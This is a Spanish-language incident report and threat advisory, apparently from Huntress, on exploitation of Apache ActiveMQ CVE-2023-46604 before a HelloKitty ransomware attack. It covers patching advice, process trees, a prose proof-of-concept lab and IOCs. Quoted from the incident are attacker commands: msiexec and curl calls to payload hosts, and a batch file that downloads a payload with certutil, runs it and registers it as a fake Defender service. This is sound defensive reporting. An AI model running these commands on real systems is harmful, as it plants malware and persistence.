Un socio implementó recientemente los agentes de Huntress el 30 de octubre de 2023, tras sufrir un ataque de ransomware “HelloKitty” el 27 de octubre. Este ataque de ransomware se dio poco después de lo que Rapid7 describió en su publicación de blog del 1 de noviembre, titulada Suspected Exploitation of Apache ActiveMQ CVE-2023-46604.
¿Qué es CVE-2023-46604?
Rapid7 identificó una presunta explotación de Apache ActiveMQ CVE-2023-46604. El CVE es una vulnerabilidad de ejecución remota de código. Huntress ya ha observado la explotación de esta vulnerabilidad en un entorno que monitoreamos. Es fundamental que apliques los parches a tus sistemas de inmediato.
Aplica los parches de inmediato
Si estás usando Apache ActiveMQ, hay parches disponibles para solucionar CVE-2023-46604 en las siguientes versiones: 5.15.16, 5.16.7, 5.17.6 y 5.18.3. Para determinar la versión de ActiveMQ que estás usando, hay disponible una herramienta de línea de comandos. La versión se mostrará al ejecutar el comando activemq --version.
Puedes encontrar los parches aquí: https://activemq.apache.org/components/classic/download/
Si no puedes aplicar los parches a estos sistemas, debes bloquear de inmediato el acceso a estos sistemas desde internet, lo que limitará considerablemente la superficie de ataque.
Observaciones de Huntress
El equipo de Huntress recibió varias señales indicativas de comandos remotos emitidos mediante Apache ActiveMQ. Como se ilustra en la Figura 1, el linaje del proceso comenzó con wrapper.exe y java.exe, y dio como resultado la ejecución de un procesador de comandos.
Figura 1: Árbol de procesos de comandos
La investigación del equipo de Huntress determinó que la explotación de Apache ActiveMQ fue la causa raíz de este incidente.
El análisis de los datos del registro de eventos de Windows extraídos de un endpoint indicó señales históricas (previas a la instalación del agente de Huntress) de un compromiso que coincidía con lo observado por Rapid7. En concreto, los eventos de MsiInstaller indicaron el inicio de la instalación de http://172.245.16].]125/m4.png y http://172.245.16[.]125/m2.png. Sin embargo, ninguno de los dos paquetes pareció instalarse correctamente. Uno de los paquetes no se pudo instalar debido a un error con C:\Windows\Installer\MSIB9E7.tmp, y el otro se completó, pero C:\Windows\Installer\MSIBC6B.tmp fue detectado y puesto en cuarentena por Windows Defender.
Ambos archivos *.png eran, en realidad, archivos de instalación MSI empaquetados con exe2msiSetupPackage, de QwertyLab, como se ilustra en la Figura 2.
Figura 2: Mensaje de registro del evento 1033 de MsiInstaller (registro de eventos de la aplicación)
Después de esta actividad, el equipo de Huntress observó el árbol de procesos ilustrado en la Figura 1, así como en la Figura 3, en varios endpoints.
Figura 3: Árbol de procesos de RuntimeBroker.msi
El árbol de procesos, con las rutas de archivo completas, para RuntimeBroker.msi, ilustrado en la Figura 3, aparece de la siguiente manera:
C:\MRX\Apache\ActiveMQ\bin\win64\wrapper.exe -> C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe -> “cmd.exe /c msiexec /q /i http://4.216.93[.]211:5981/RuntimeBroker.msi”
El comando para descargar e instalar el archivo RuntimeBroker.msi mediante MSIExec no parece haber tenido éxito en ninguno de los dos endpoints, ya que no hay registros de eventos de MsiInstaller visibles en el registro de eventos de aplicación para ese endpoint durante ese período.
Después del intento fallido de instalar el archivo RuntimeBroker.msi, se observó el comando ilustrado en la Figura 1 en varios endpoints. Sin embargo, en un período corto (un segundo o menos), Windows Defender detectó y puso en cuarentena el archivo agent_w.exe en ese mismo endpoint. A pesar de que agent_w.exe fue puesto en cuarentena, el análisis del archivo recuperado indica que intenta conectarse a 137.175.17[.]172.
El 2 de noviembre, el equipo de Huntress recibió una alerta sobre varios endpoints que ejecutaban solicitudes curl mediante la URL hxxp://27.102.128[.]152:8098/bit[.]ico, como se ilustra en la Figura 4. Esta actividad parecía originarse en la ejecución de wrapper.exe ubicado dentro de un subdirectorio de los archivos de instalación de ActiveMQ, exactamente como se observó en árboles de procesos anteriores.
Figura 4: Árbol de procesos de curl
El equipo de Huntress quiere señalar que este tipo de actividad se observó desde el 10 de octubre, como se ilustra en la Figura 5.
Figura 5: Evento de creación de proceso del 10 de octubre de 2023
En el momento en que los analistas respondieron a la alerta ilustrada en la Figura 5, el sistema en la dirección IP 45.32.120[.]181 no estaba accesible, pero el archivo por lotes win.bat se obtuvo de fuentes alternativas, y aparece de la siguiente manera:
@echo off
cmd /c certutil -urlcache -split -f http://45.32.120[.]181/x86.exe c:\users\public\86.dat
cmd /c start /b c:\users\public\86.dat
sc create windowDefenSrv binPath= "c:\users\public\86.dat windowDefenSrv" start= auto
del c:\users\public\win.bat
En el momento en que se investigaron los eventos, los analistas de Huntress no encontraron actividad maliciosa adicional posterior en el endpoint, lo que indica que el proceso de infección no tuvo éxito. Sin embargo, el árbol de procesos fue idéntico al ilustrado en las Figuras 1 y 3.
El laboratorio de ataque: prueba de concepto de explotación
La explotación de este ataque es trivial. Existe un módulo de Metasploit que automatiza la explotación de este ataque. El equipo de Huntress confirma que este módulo funciona a la perfección contra instancias vulnerables de ActiveMQ.
El proceso de explotación se desarrolla en dos etapas:
- El atacante establece una conexión a ActiveMQ mediante el protocolo OpenWire, que normalmente se ejecuta en el puerto 61616.
- Al enviar un paquete OpenWire manipulado, el atacante hace que el sistema deserialice una clase que él controla. Esta acción provoca que el servidor vulnerable obtenga y cargue un archivo XML de configuración de clase desde una URL remota, lo que implica que el atacante debe tener un archivo XML predefinido alojado en otro lugar.
La solicitud del protocolo OpenWire se origina en el atacante, pero la solicitud para cargar el archivo XML de configuración de clase remota se origina en el servidor víctima.
El artículo original sobre esta vulnerabilidad incluye el siguiente ejemplo del esquema del archivo XML:
La clase cargada llama al método ProcessBuilder para ejecutar notepad.exe. En la práctica, el archivo de configuración de clase contendrá cualquiera de los conocidos recursos de posexplotación, como curl, certutil, powershell, entre otros.
En este ejemplo, simplemente escribimos “worked” en C:\Windows\Temp\worked.txt para demostrar la explotación exitosa:
Figura 6: Ejecución del módulo de Metasploit
Luego vemos el nuevo archivo en el directorio C:\Windows\Temp del servidor vulnerable, lo que demuestra la ejecución de código:
Figura 7: Prueba de ejecución
También vemos el archivo de configuración de clase solicitado en la transmisión HTTP de Wireshark para este ejemplo:
Figura 8: Tráfico de red reconstruido mediante Wireshark
Indicadores de compromiso (IOC)
137.175.17[.]172
172.245.16].]125:80
4.216.93[.]211:5981
27.102.128[.]152:8098
45.32.120[.]181
Nombre del archivo
Hash
Agent_w.exe
dd13cf13c1fbdc76da63e76adcf36727cfe594e60af0dc823c5a509a13ae1e15
RuntimeBroker.msi
4c9fa87e72fe59cf15131bd2f3bd7baa7a9555ceec438c1df78dd5d5b8394910
Detector de Sigma
El equipo Huntress DE&TH también publicó un detector de Sigma público para esta amenaza en particular.
Huntress agregó detecciones para la actividad reportada en este blog. Si quieres que alguien más esté atento mientras trabajas en aplicar el parche, no dudes en iniciar una prueba gratuita con nosotros para que nuestro SOC 24/7 esté pendiente por ti.
Agradecimiento especial a Josh Allman, Faith Stratton, Izzy Spering, Matthew Kiely, Matt Anderson, Sharon Martin, Harlan Carvey y Joe Slowik por sus contribuciones a este artículo.
